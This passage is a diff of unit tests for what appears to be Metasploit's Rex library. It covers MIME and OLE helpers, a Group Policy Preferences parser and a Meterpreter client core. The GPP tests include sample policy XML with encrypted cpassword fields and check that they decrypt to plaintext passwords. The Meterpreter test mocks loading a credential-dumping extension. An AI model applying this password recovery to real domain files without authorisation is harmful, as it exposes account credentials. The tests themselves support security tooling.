expect(message_class.header.find('MIME-Version')).to eq(['MIME-Version', '1.0']) + end + + it "allows to create a Content-Type header from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.header.find('Content-Type')).to eq(['Content-Type', "multipart/mixed; boundary=\"_Part_12_3195573780_381739540\""]) + end + + it "allows to create a Subject header from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.header.find('Subject')).to eq(['Subject', 'Pull Request']) + end + + it "allows to create a Date header from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.header.find('Date')).to eq(['Date', 'Wed,20 Aug 2014 08:45:38 -0500']) + end + + it "allows to create a Message-ID header from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.header.find('Message-ID')).to eq(['Message-ID', '<WRobqc7gEyQVIQwEkLS7FN3ZNhS1Xj9pU2szC24rggMg@tqUqGjjSLEvssbwm>']) + end + + it "allows to create a From header from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.header.find('From')).to eq(['From', 'contributor@msfdev.int']) + end + + it "allows to create a To header from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.header.find('To')).to eq(['To', 'msfdev@msfdev.int']) + end + + it "allows to populate parts from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.parts.length).to eq(1) + end + + it "allows to populate parts headers from argument" do + message_class.send(:initialize, raw_message) + part = message_class.parts[0] + expect(part.header.headers.length).to eq(3) + end + + it "allows to populate parts contents from argument" do + message_class.send(:initialize, raw_message) + part = message_class.parts[0] + expect(part.content).to eq("Q29udGVudHM=") + end + end + + describe "#to" do + it "returns nil if To: header doesn't exist" do + expect(subject.to).to be_nil + end + + it "returns the To: header value if it exists" do + subject.header.add('To', 'msfdev') + expect(subject.to).to eq('msfdev') + end + end + + describe "#to=" do + it "sets the To: header value" do + subject.to = 'msfdev' + expect(subject.to).to eq('msfdev') + end + end + + + describe "#from" do + it "returns nil if From: header doesn't exist" do + expect(subject.from).to be_nil + end + + it "returns the From: header value if it exists" do + subject.header.add('From', 'msfdev') + expect(subject.from).to eq('msfdev') + end + end + + describe "#from=" do + it "sets the From: header value" do + subject.from = 'msfdev' + expect(subject.from).to eq('msfdev') + end + end + + describe "#subject" do + it "returns nil if Subject: header doesn't exist" do + expect(subject.subject).to be_nil + end + + it "returns the Subject: header value if it exists" do + subject.header.add('Subject', 'msfdev') + expect(subject.subject).to eq('msfdev') + end + end + + describe "#subject=" do + it "sets the Subject: header value" do + subject.subject = 'msfdev' + expect(subject.subject).to eq('msfdev') + end + end + + describe "#mime_defaults" do + it "sets the MIME-Version header" do + subject.mime_defaults + expect(subject.header.find('MIME-Version')).to_not be_nil + end + + it "sets the MIME-Version header to '1.0'" do + subject.mime_defaults + expect(subject.header.find('MIME-Version')).to eq(['MIME-Version', '1.0']) + end + + it "sets the Content-Type header" do + subject.mime_defaults + expect(subject.header.find('Content-Type')).to_not be_nil + end + + it "sets the Content-Type header to multipart/mixed" do + subject.mime_defaults + expect(subject.header.find('Content-Type')[1]).to include('multipart/mixed') + end + + it "sets the Subject header" do + subject.mime_defaults + expect(subject.header.find('Subject')).to_not be_nil + end + + it "sets the Subject header to empty string" do + subject.mime_defaults + expect(subject.header.find('Subject')).to eq(['Subject', '']) + end + + it "sets the Message-ID header" do + subject.mime_defaults + expect(subject.header.find('Message-ID')).to_not be_nil + end + + it "sets the From header" do + subject.mime_defaults + expect(subject.header.find('From')).to_not be_nil + end + + it "sets the From header to empty string" do + subject.mime_defaults + expect(subject.header.find('From')).to eq(['From', '']) + end + + it "sets the To header" do + subject.mime_defaults + expect(subject.header.find('To')).to_not be_nil + end + + it "sets the To header to empty string" do + subject.mime_defaults + expect(subject.header.find('To')).to eq(['To', '']) + end + end + + describe "#add_part" do + subject(:part) do + described_class.new.add_part(*args) + end + + let(:args) { [] } + + it "returns the new part" do + expect(part).to be_a(Rex::MIME::Part) + end + + it "set part's Content-Type to text/plain by default" do + expect(part.header.find('Content-Type')[1]).to eq('text/plain') + end + + it "set part's Content-Transfer-Encoding to 8bit by default" do + expect(part.header.find('Content-Transfer-Encoding')[1]).to eq('8bit') + end + + it "doesn't set part's Content-Disposition by default" do + expect(part.header.find('Content-Disposition')).to be_nil + end + + context "with Content-Type argument" do + let(:args) { ['', 'application/pdf'] } + + it "creates a part Content-Type header" do + expect(part.header.find('Content-Type')[1]).to eq('application/pdf') + end + end + + context "with Content-Transfer-Encoding argument" do + let(:args) { ['', 'application/pdf', 'binary'] } + + it "creates a part Content-Transfer-Encoding header" do + expect(part.header.find('Content-Transfer-Encoding')[1]).to eq('binary') + end + end + + context "with Content-Disposition argument" do + let(:args) { ['', 'application/pdf', 'binary', 'attachment; filename="fname.ext"'] } + + it "creates a part Content-Disposition header" do + expect(part.header.find('Content-Disposition')[1]).to eq('attachment; filename="fname.ext"') + end + end + + context "with content argument" do + let(:args) { ['msfdev'] } + + it "creates part content" do + expect(part.content).to eq('msfdev') + end + end + + end + + describe "#add_part_attachment" do + it "requires data argument" do + expect { subject.add_part_attachment }.to raise_error(ArgumentError) + end + + it "requires name argument" do + expect { subject.add_part_attachment('data') }.to raise_error(ArgumentError) + end + + it 'returns the new Rex::MIME::Part' do + expect(subject.add_part_attachment('data', 'name')).to be_a(Rex::MIME::Part) + end + + it 'encodes the part content with base64' do + part = subject.add_part_attachment('data', 'name') + expect(part.content).to eq(Rex::Text.encode_base64('data', "\r\n")) + end + + it 'setup Content-Type as application/octet-stream' do + part = subject.add_part_attachment('data', 'name') + expect(part.header.find('Content-Type')[1]).to eq('application/octet-stream; name="name"') + end + + it 'setup Content-Transfer-Encoding as base64' do + part = subject.add_part_attachment('data', 'name') + expect(part.header.find('Content-Transfer-Encoding')[1]).to eq('base64') + end + + it 'setup Content-Disposition as attachment' do + part = subject.add_part_attachment('data', 'name') + expect(part.header.find('Content-Disposition')[1]).to eq('attachment; filename="name"') + end + end + + describe "#add_part_inline_attachment" do + it "requires data argument" do + expect { subject.add_part_inline_attachment }.to raise_error(ArgumentError) + end + + it "requires name argument" do + expect { subject.add_part_inline_attachment('data') }.to raise_error(ArgumentError) + end + + it 'returns the new Rex::MIME::Part' do + expect(subject.add_part_inline_attachment('data', 'name')).to be_a(Rex::MIME::Part) + end + + it 'encodes the part content with base64' do + part = subject.add_part_inline_attachment('data', 'name') + expect(part.content).to eq(Rex::Text.encode_base64('data', "\r\n")) + end + + it 'setup Content-Type as application/octet-stream' do + part = subject.add_part_inline_attachment('data', 'name') + expect(part.header.find('Content-Type')[1]).to eq('application/octet-stream; name="name"') + end + + it 'setup Content-Transfer-Encoding as base64' do + part = subject.add_part_inline_attachment('data', 'name') + expect(part.header.find('Content-Transfer-Encoding')[1]).to eq('base64') + end + + it 'setup Content-Disposition as attachment' do + part = subject.add_part_inline_attachment('data', 'name') + expect(part.header.find('Content-Disposition')[1]).to eq('inline; filename="name"') + end + end + + describe "#to_s" do + let(:regexp_mail) do + regex = "MIME-Version: 1.0\r\n" + regex << "Content-Type: multipart/mixed; boundary=\"_Part_.*\"\r\n" + regex << "Subject: Pull Request\r\n" + regex << "Date: .*\r\n" + regex << "Message-ID: <.*@.*>\r\n" + regex << "From: contributor@msfdev.int\r\n" + regex << "To: msfdev@msfdev.int\r\n" + regex << "\r\n" + regex << "--_Part_.*\r\n" + regex << "Content-Disposition: inline\r\n" + regex << "Content-Type: text/plain\r\n" + regex << "Content-Transfer-Encoding: base64\r\n" + regex << "\r\n" + regex << "Q29udGVudHM=\r\n" + regex << "\r\n" + regex << "--_Part_.*--\r\n" + + Regexp.new(regex) + end + + let(:regexp_web) do + regex = "\r\n" + regex << "--_Part_.*\r\n" + regex << "Content-Disposition: form-data; name=\"action\"\r\n" + regex << "\r\n" + regex << "save\r\n" + regex << "--_Part_.*\r\n" + regex << "Content-Disposition: form-data; name=\"file\"; filename=\"test.txt\"\r\n" + regex << "Content-Type: application/octet-stream\r\n" + regex << "\r\n" + regex << "Contents\r\n" + regex << "--_Part_.*\r\n" + regex << "Content-Disposition: form-data; name=\"title\"\r\n" + regex << "\r\n" + regex << "Title\r\n" + regex << "--_Part_.*--\r\n" + + Regexp.new(regex) + end + + it "returns \\r\\n if Rex::MIME::Message is empty" do + expect(subject.to_s).to eq("\r\n") + end + + it "generates valid MIME email messages" do + subject.mime_defaults + subject.from = "contributor@msfdev.int" + subject.to = "msfdev@msfdev.int" + subject.subject = "Pull Request" + subject.add_part(Rex::Text.encode_base64("Contents", "\r\n"), "text/plain", "base64", "inline") + expect(regexp_mail.match(subject.to_s)).to_not be_nil + end + + it "generates valid MIME web forms" do + subject.add_part("save", nil, nil, "form-data; name=\"action\"") + subject.add_part("Contents", "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"test.txt\"") + subject.add_part("Title", nil, nil, "form-data; name=\"title\"") + expect(regexp_web.match(subject.to_s)).to_not be_nil + end + end + +end diff --git a/spec/lib/rex/mime/part_spec.rb b/spec/lib/rex/mime/part_spec.rb new file mode 100644 index 0000000000..1f150f882f --- /dev/null +++ b/spec/lib/rex/mime/part_spec.rb @@ -0,0 +1,92 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/mime' + +describe Rex::MIME::Part do + + subject do + described_class.new + end + + describe "#initialize" do + subject(:part_class) do + described_class.allocate + end + + it "initializes the Rex::MIME::Header object" do + part_class.send(:initialize) + expect(part_class.header).to be_a(Rex::MIME::Header) + end + + it "initializes the Rex::MIME::Header with an empty array of headers" do + part_class.send(:initialize) + expect(part_class.header.headers).to be_empty + end + + it "Initializes content with an empty String" do + part_class.send(:initialize) + expect(part_class.content).to be_empty + end + end + + describe "#transfer_encoding" do + it "returns nil if the part hasn't a Content-Transfer-Encoding header" do + expect(subject.transfer_encoding).to be_nil + end + + it "returns the transfer encoding value if a Content-Transfer-Encoding header exists" do + subject.header.add('Content-Transfer-Encoding', 'base64') + expect(subject.transfer_encoding).to eq('base64') + end + end + + describe "#binary_content?" do + it "returns false if transfer encoding isn't defined" do + expect(subject.binary_content?).to be_falsey + end + + it "returns false if transfer encoding isn't binary" do + subject.header.add('Content-Transfer-Encoding', 'base64') + expect(subject.binary_content?).to be_falsey + end + + it "returns true if transfer encoding is binary" do + subject.header.add('Content-Transfer-Encoding', 'binary') + expect(subject.binary_content?).to be_truthy + end + end + + describe "#content_encoded" do + let(:content_test) do + "\rTest1\n" + end + + it "returns the exact content if transfer encoding is binary" do + subject.header.add('Content-Transfer-Encoding', 'binary') + subject.content = content_test + expect(subject.content_encoded).to eq(content_test) + end + + it "returns the content crlf encoded if transfer encoding isn't binary" do + subject.content = content_test + expect(subject.content_encoded).to eq("Test1\r\n") + end + end + + describe "#to_s" do + it "returns headers and content separated by two \\r\\n sequences" do + subject.header.add('var', 'val') + subject.content = 'content' + expect(subject.to_s).to eq("var: val\r\n\r\ncontent\r\n") + end + + it "returns two \\r\\n sequences if part is empty" do + expect(subject.to_s).to eq("\r\n\r\n") + end + + it "ends with \\r\\n sequence" do + expect(subject.to_s).to end_with("\r\n") + end + end +end diff --git a/spec/lib/rex/ole/clsid_spec.rb b/spec/lib/rex/ole/clsid_spec.rb new file mode 100644 index 0000000000..1217a73f46 --- /dev/null +++ b/spec/lib/rex/ole/clsid_spec.rb @@ -0,0 +1,56 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/ole' + +describe Rex::OLE::CLSID do + + let(:sample_clsid) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff" } + + subject(:clsid) do + described_class.new(sample_clsid) + end + + describe "#initialize" do + subject(:clsid_class) do + described_class.allocate + end + + it "returns the buf value" do + expect(clsid_class.send(:initialize, sample_clsid)).to eq(sample_clsid) + end + + context "when buf is nil" do + it "returns padding" do + expect(clsid_class.send(:initialize)).to eq("\x00" * 16) + end + end + end + + describe "#pack" do + it "returns the buf field" do + expect(clsid.pack).to eq(sample_clsid) + end + end + + describe "#to_s" do + it "returns printable clsid" do + Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) + expect(clsid.to_s).to eq('33221100-5544-7766-8899-aabbccddeeff') + end + + context "when buf is nil" do + it "raises NoMethodError" do + clsid.instance_variable_set(:@buf, nil) + expect { clsid.to_s }.to raise_error(NoMethodError) + end + end + + context "when buf is shorter than 16 bytes" do + it "raises TypeError" do + clsid.instance_variable_set(:@buf, '') + expect { clsid.to_s }.to raise_error(TypeError) + end + end + end +end diff --git a/spec/lib/rex/ole/util_spec.rb b/spec/lib/rex/ole/util_spec.rb new file mode 100644 index 0000000000..12e7babe74 --- /dev/null +++ b/spec/lib/rex/ole/util_spec.rb @@ -0,0 +1,406 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/ole' + +describe Rex::OLE::Util do + + describe ".Hexify32array" do + subject(:hex_array) { described_class.Hexify32array(arr) } + + context "when arr is empty" do + let(:arr) { [] } + it "returns empty string" do + is_expected.to be_empty + end + end + + context "when arr is filled" do + let(:arr) { [0, 1, 0x20, 0x40, 0x100, 0x200, 0x12345678] } + + it "returns an string with the hexify array" do + is_expected.to eq('0x00000000 0x00000001 0x00000020 0x00000040 0x00000100 0x00000200 0x12345678') + end + end + end + + describe ".Printable" do + subject(:printable_buf) { described_class.Printable(buf) } + + context "when buf is empty" do + let(:buf) { '' } + it "returns empty string" do + is_expected.to be_empty + end + end + + context "when buf only contains printable chars" do + let(:buf) { 'abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()' } + + it "returns the same string" do + is_expected.to eq(buf) + end + end + + context "when buf contains no printable chars" do + let(:buf) { "abcde\x88" } + + it "returns hex representation for non printable chars" do + is_expected.to eq('abcde\\x88') + end + end + end + + describe ".set_endian" do + subject(:set_endian) { described_class.set_endian(endian) } + let(:endian) { Rex::OLE::LITTLE_ENDIAN } + + it "sets the endian field" do + set_endian + expect(described_class.instance_variable_get(:@endian)).to eq(0xfffe) + end + + it "returns the set endianness" do + is_expected.to eq(0xfffe) + end + end + + describe ".get64" do + subject(:quad_word) { described_class.get64(buf, offset) } + + context "when buf is empty" do + let(:buf) { '' } + let(:offset) { 0 } + + it "raises a null dereference exception" do + expect { quad_word }.to raise_error(NoMethodError) + end + end + + context "when buf is shorter than offset" do + let(:buf) { "\x12\x34\x56\x78\x12\x34\x56\x78" } + let(:offset) { 8 } + + it "raises a null dereference exceptioon" do + expect { quad_word }.to raise_error(NoMethodError) + end + end + + context "when @endian is little endian" do + let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" } + let(:offset) { 1 } + + it "returns the little endian quad word at offset" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq(0x8877665544332211) + end + end + + context "when @endian is big endian" do + let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" } + let(:offset) { 1 } + + it "returns the big endian quad word at offset" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq(0x1122334455667788) + end + end + end + + describe ".pack64" do + subject(:packed_quad_word) { described_class.pack64(value) } + let(:value) { 0x1122334455667788 } + + context "when @endian is little endian" do + it "returns the packed little endian quad word" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq("\x88\x77\x66\x55\x44\x33\x22\x11") + end + end + + context "when @endian is big endian" do + it "returns the packed big endian quad word" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq("\x11\x22\x33\x44\x55\x66\x77\x88") + end + end + end + + describe ".get32" do + subject(:word) { described_class.get32(buf, offset) } + + context "when buf is empty" do + let(:buf) { '' } + let(:offset) { 0 } + + it "returns nil" do + is_expected.to be_nil + end + end + + context "when buf is shorter than offset" do + let(:buf) { "\x12\x34\x56" } + let(:offset) { 4 } + + it "raises a null dereference exceptioon" do + expect { word }.to raise_error(NoMethodError) + end + end + + context "when @endian is little endian" do + let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" } + let(:offset) { 1 } + + it "returns the little endian word at offset" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq(0x44332211) + end + end + + context "when @endian is big endian" do + let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" } + let(:offset) { 1 } + + it "returns the big endian word at offset" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq(0x11223344) + end + end + end + + describe ".pack32" do + subject(:packed_word) { described_class.pack32(value) } + let(:value) { 0x11223344 } + + context "when @endian is little endian" do + it "returns the packed little endian word" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq("\x44\x33\x22\x11") + end + end + + context "when @endian is big endian" do + it "returns the packed big endian word at offset" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq("\x11\x22\x33\x44") + end + end + end + + describe ".get32array" do + subject(:word_array) { described_class.get32array(buf) } + + context "when buf is empty" do + let(:buf) { '' } + + it "returns an empty array" do + is_expected.to eq([]) + end + end + + context "when buf isn't empty" do + let(:buf) { "\x11\x22\x33\x44\x55\x66\x77\x88" } + + context "when @endian is little endian" do + it "unpacks an array of little endian words" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq([0x44332211, 0x88776655]) + end + end + + context "when @endian is big endian" do + it "unpacks an array of big endian words" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq([0x11223344, 0x55667788]) + end + end + end + end + + describe ".pack32array" do + subject(:packed_word) { described_class.pack32array(arr) } + + context "when arr is empty" do + let(:arr) { [] } + it "returns an empty string" do + is_expected.to eq('') + end + end + + context "when arr isn't empty" do + let(:arr) { [0x11223344, 0x55667788] } + + context "when @endian is little endian" do + it "returns the little endian words array packed" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq("\x44\x33\x22\x11\x88\x77\x66\x55") + end + end + + context "when @endian is big endian" do + it "returns the big endian words array packed" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq("\x11\x22\x33\x44\x55\x66\x77\x88") + end + end + end + + end + + describe ".get16" do + subject(:half_word) { described_class.get16(buf, offset) } + + context "when buf is empty" do + let(:buf) { '' } + let(:offset) { 0 } + + it "returns nil" do + is_expected.to be_nil + end + end + + context "when buf is shorter than offset" do + let(:buf) { "\x12\x34" } + let(:offset) { 4 } + + it "raises a null dereference exceptioon" do + expect { half_word }.to raise_error(NoMethodError) + end + end + + context "when @endian is little endian" do + let(:buf) { "\x00\x11\x22\x33\x44" } + let(:offset) { 1 } + + it "returns the little endian half word at offset" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq(0x2211) + end + end + + context "when @endian is big endian" do + let(:buf) { "\x00\x11\x22\x33\x44" } + let(:offset) { 1 } + + it "returns the big endian word at offset" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq(0x1122) + end + end + end + + describe ".pack16" do + subject(:packed_word) { described_class.pack16(value) } + let(:value) { 0x1122 } + + context "when @endian is little endian" do + it "returns the packed little endian word" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq("\x22\x11") + end + end + + context "when @endian is big endian" do + it "returns the packed big endian word at offset" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq("\x11\x22") + end + end + end + + describe ".get8" do + subject(:byte) { described_class.get8(buf, offset) } + + context "when buf is empty" do + let(:buf) { '' } + let(:offset) { 0 } + + it "returns nil" do + is_expected.to be_nil + end + end + + context "when buf is shorter than offset" do + let(:buf) { "\x12\x34" } + let(:offset) { 4 } + + it "raises a null dereference exceptioon" do + expect { byte }.to raise_error(NoMethodError) + end + end + + let(:buf) { "\x00\x11\x22" } + let(:offset) { 1 } + + it "returns the byte at offset" do + is_expected.to eq(0x11) + end + end + + describe ".pack8" do + subject(:packed_byte) { described_class.pack8(value) } + let(:value) { 0x11 } + + it "returns the packed byte" do + is_expected.to eq("\x11") + end + end + + describe ".getUnicodeString" do + subject(:unicode_string) { described_class.getUnicodeString(buf) } + let(:buf) { "T\x00h\x00i\x00s\x00 \x00i\x00s\x00 \x00a\x00n\x00 \x00u\x00n\x00i\x00c\x00o\x00d\x00e\x00 \x00s\x00t\x00r\x00i\x00n\x00g\x00" } + + it "unpacks unicode string" do + is_expected.to eq('This is an unicode string') + end + + context "when buf contains unicode nulls" do + let(:buf) { "T\x00h\x00\x00i\x00s\x00" } + + it "unpacks unicode string until null" do + is_expected.to eq('Th') + end + end + end + + describe ".putUnicodeString" do + subject(:packed_byte) { described_class.putUnicodeString(buf) } + let(:buf) { 'A' * 32 } + + it "returns the unicode version of the string" do + is_expected.to eq("A\x00" * 32) + end + + context "when buf is shorter than 32" do + let(:buf) { 'A' * 30 } + it "adds null byte padding" do + is_expected.to eq(("A\x00" * 30) + "\x00\x00\x00\x00") + end + end + end + + describe ".name_is_valid" do + subject(:valid_name) { described_class.name_is_valid(name) } + + context "when name length is greater than 31" do + let(:name) { 'A' * 32 } + it "returns nil" do + is_expected.to be_nil + end + end + + context "when name contains [0x00..0x1f] chars" do + let(:name) { "ABCDE\x1f" } + it "returns nil" do + is_expected.to be_nil + end + end + + context "when name doesn't contain [0x00..0x1f] chars" do + let(:name) { "ABCDE\x88" } + it "returns true" do + is_expected.to be_truthy + end + end + end +end diff --git a/spec/lib/rex/parser/group_policy_preferences_spec.rb b/spec/lib/rex/parser/group_policy_preferences_spec.rb new file mode 100644 index 0000000000..a2e61578a3 --- /dev/null +++ b/spec/lib/rex/parser/group_policy_preferences_spec.rb @@ -0,0 +1,165 @@ +# encoding: binary +require 'rex/parser/group_policy_preferences' + +xml_group = ' +<?xml version="1.0" encoding="utf-8"?> +<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="SuperSecretBackdoor" image="0" changed="2013-04-25 18:36:07" uid="{B5EDB865-34F5-4BD7-9C59-3AEB1C7A68C3}"><Properties action="C" fullName="" description="" cpassword="VBQUNbDhuVti3/GHTGHPvcno2vH3y8e8m1qALVO1H3T0rdkr2rub1smfTtqRBRI3" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="SuperSecretBackdoor"/></User> +</Groups> +' + +xml_datasrc = ' +<?xml version="1.0" encoding="utf-8"?> +<DataSources clsid="{380F820F-F21B-41ac-A3CC-24D4F80F067B}"><DataSource clsid="{5C209626-D820-4d69-8D50-1FACD6214488}" userContext="1" name="test" image="0" changed="2013-04-25 20:39:08" uid="{3513F923-9661-4819-9995-91A63C7D7A65}"><Properties action="C" userDSN="0" dsn="test" driver="test" description="" username="test" cpassword="eYbbv1GZI4DZEgTXPUDspw"><Attributes><Attribute name="test" value="test"/><Attribute name="test2" value="test2"/></Attributes></Properties></DataSource> +</DataSources> +' + +xml_drive = ' +<?xml version="1.0" encoding="utf-8"?> +<Drives clsid="{8FDDCC1A-0C3C-43cd-A6B4-71A6DF20DA8C}"><Drive clsid="{935D1B74-9CB8-4e3c-9914-7DD559B7A417}" name="E:" status="E:" image="0" changed="2013-04-25 20:33:02" uid="{016E2095-EAB5-43C0-8BCF-4C2655F709F5}"><Properties action="C" thisDrive="NOCHANGE" allDrives="NOCHANGE" userName="drivemap" path="drivemap" label="" persistent="0" useLetter="1" letter="E" cpassword="Lj3fkZ8E3AFAJPTSoBitKw"/></Drive> +</Drives> +' + +xml_schd = ' +<?xml version="1.0" encoding="utf-8"?> +<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><Task clsid="{2DEECB1C-261F-4e13-9B21-16FB83BC03BD}" name="test1" image="2" changed="2013-04-25 20:30:13" uid="{41059D76-C7B4-4D05-9679-AE7510247B1F}"><Properties action="U" name="test1" appName="notepad.exe" args="" startIn="" comment="" runAs="test1" cpassword="DdGgLn/bpUNU/QjjcNvn4A" enabled="0"><Triggers><Trigger type="DAILY" startHour="8" startMinutes="0" beginYear="2013" beginMonth="4" beginDay="25" hasEndDate="0" repeatTask="0" interval="1"/></Triggers></Properties></Task> +</ScheduledTasks> +' + +xml_serv = ' +<?xml version="1.0" encoding="utf-8"?> +<NTServices clsid="{2CFB484A-4E96-4b5d-A0B6-093D2F91E6AE}"><NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="Blah" image="0" changed="2013-04-25 20:29:49" uid="{C6AE4201-9F99-46AB-93C2-9D734D87D343}"><Properties startupType="NOCHANGE" serviceName="Blah" timeout="30" accountName="bob" cpassword="OQWR9sf5FTlGgh8SJX31ug"/></NTService> +</NTServices> +' + +xml_ms = ' +<?xml version="1.0" encoding="utf-8"?> +<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}" + disabled="1"> + <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" + name="DbAdmin" + image="2" + changed="2007-07-06 20:45:20" + uid="{253F4D90-150A-4EFB-BCC8-6E894A9105F7}"> + <Properties + action="U" + newName="" + fullName="Database Admin" + description="Local Database Admin" + cpassword="demo" + changeLogon="0" + noChange="0" + neverExpires="0" + acctDisabled="1" + userName="DbAdmin"/> + </User> + <Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" + name="Database Admins" + image="2" + changed="2007-07-06 20:46:21" + uid="{C5FB3901-508A-4A9E-9171-60D4FC2B404B}"> + <Properties + action="U" + newName="" + description="Local Database Admins" + userAction="REMOVE" + deleteAllUsers="1" + deleteAllGroups="1" + removeAccounts="0" + groupName="Database Admins"> + <Members> + <Member + name="domain\sampleuser" + action="ADD" + sid=""/> + </Members> + </Properties> + </Group> +</Groups> +' + +# Win2k8 appears to append some junk padding in some cases +cpassword_win2k8 = [] +# Win2k8R2 - EqWFlA4kn2T6PHvGi09M7seHuqCYK/slkJWIl7mK+wEMON8tIIslS6707RU1F7Bh +cpassword_win2k8 << ['EqWFlA4kn2T6PHvGi09M7seHuqCYK/slkJWIl7mK+wEMON8tIIslS6707RU1F7BhTµkp', 'N3v3rGunnaG!veYo'] +cpassword_win2k8 << ['EqWFlA4kn2T6PHvGi09M7seHuqCYK/slkJWIl7mK+wGSwOI7Be//GJdxd5YYXUQHTµkp', 'N3v3rGunnaG!veYou'] +# Win2k8R2 - EqWFlA4kn2T6PHvGi09M7seHuqCYK/slkJWIl7mK+wFSuDccBEp/4l5EuKnwF0WS +cpassword_win2k8 << ['EqWFlA4kn2T6PHvGi09M7seHuqCYK/slkJWIl7mK+wFSuDccBEp/4l5EuKnwF0WS»YÂVAA', 'N3v3rGunnaG!veYouUp'] +cpassword_normal = "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw" +cpassword_bad = "blah" + +describe Rex::Parser::GPP do + GPP = Rex::Parser::GPP + + ## + # Decrypt + ## + it "Decrypt returns Local*P4ssword! for normal cpassword" do + result = GPP.decrypt(cpassword_normal) + result.should eq("Local*P4ssword!") + end + + it "Decrypt returns blank for bad cpassword" do + result = GPP.decrypt(cpassword_bad) + result.should eq("") + end + + it "Decrypt returns blank for nil cpassword" do + result = GPP.decrypt(nil) + result.should eq("") + end + + it 'Decrypts a cpassword containing junk padding' do + cpassword_win2k8.each do |encrypted, expected| + result = GPP.decrypt(encrypted) + result.should eq(expected) + end + end + + ## + # Parse + ## + + it "Parse returns empty [] for nil" do + GPP.parse(nil).should be_empty + end + + it "Parse returns results for xml_ms and password is empty" do + results = GPP.parse(xml_ms) + results.should_not be_empty + results[0][:PASS].should be_empty + end + + it "Parse returns results for xml_datasrc, and attributes, and password is test1" do + results = GPP.parse(xml_datasrc) + results.should_not be_empty + results[0].include?(:ATTRIBUTES).should be_truthy + results[0][:ATTRIBUTES].should_not be_empty + results[0][:PASS].should eq("test") + end + + xmls = [] + xmls << xml_group + xmls << xml_drive + xmls << xml_schd + xmls << xml_serv + xmls << xml_datasrc + + it "Parse returns results for all good xmls and passwords" do + xmls.each do |xml| + results = GPP.parse(xml) + results.should_not be_empty + results[0][:PASS].should_not be_empty + end + end + + ## + # Create_Tables + ## + it "Create_tables returns tables for all good xmls" do + xmls.each do |xml| + results = GPP.parse(xml) + tables = GPP.create_tables(results, "test") + tables.should_not be_empty + end + end +end diff --git a/spec/lib/rex/parser/unattend_spec.rb b/spec/lib/rex/parser/unattend_spec.rb index 980c469ef5..8e1de52e94 100644 --- a/spec/lib/rex/parser/unattend_spec.rb +++ b/spec/lib/rex/parser/unattend_spec.rb @@ -16,7 +16,7 @@ comb = REXML::Document.new('<unattend xmlns="urn:schemas-microsoft-com:unattend" describe Rex::Parser::Unattend do context "#parse" do - it "returns passwords for b64" do + it "returns passwords for b64" do results = described_class.parse(b64) results.length.should eq(2) results[0]['password'].should eq(Rex::Text.to_unicode('Temp123')) diff --git a/spec/lib/rex/post/meterpreter/client_core_spec.rb b/spec/lib/rex/post/meterpreter/client_core_spec.rb new file mode 100644 index 0000000000..ae40ef653d --- /dev/null +++ b/spec/lib/rex/post/meterpreter/client_core_spec.rb @@ -0,0 +1,53 @@ +require 'spec_helper' +require 'rex/post/meterpreter/client_core' + +describe Rex::Post::Meterpreter::ClientCore do + + it "should be available" do + expect(described_class).to eq(Rex::Post::Meterpreter::ClientCore) + end + + describe "#use" do + + before(:each) do + @response = double("response") + allow(@response).to receive(:result) { 0 } + allow(@response).to receive(:each) { [:help] } + @client = double("client") + allow(@client).to receive(:binary_suffix) { "x64.dll" } + allow(@client).to receive(:capabilities) { {:ssl => false, :zlib => false } } + allow(@client).to receive(:response_timeout) { 1 } + allow(@client).to receive(:send_packet_wait_response) { @response } + allow(@client).to receive(:add_extension) { true } + end + + let(:client_core) {described_class.new(@client)} + it 'should respond to #use' do + expect(client_core).to respond_to(:use) + end + + context 'with a gemified module' do + let(:mod) {"kiwi"} + it 'should be 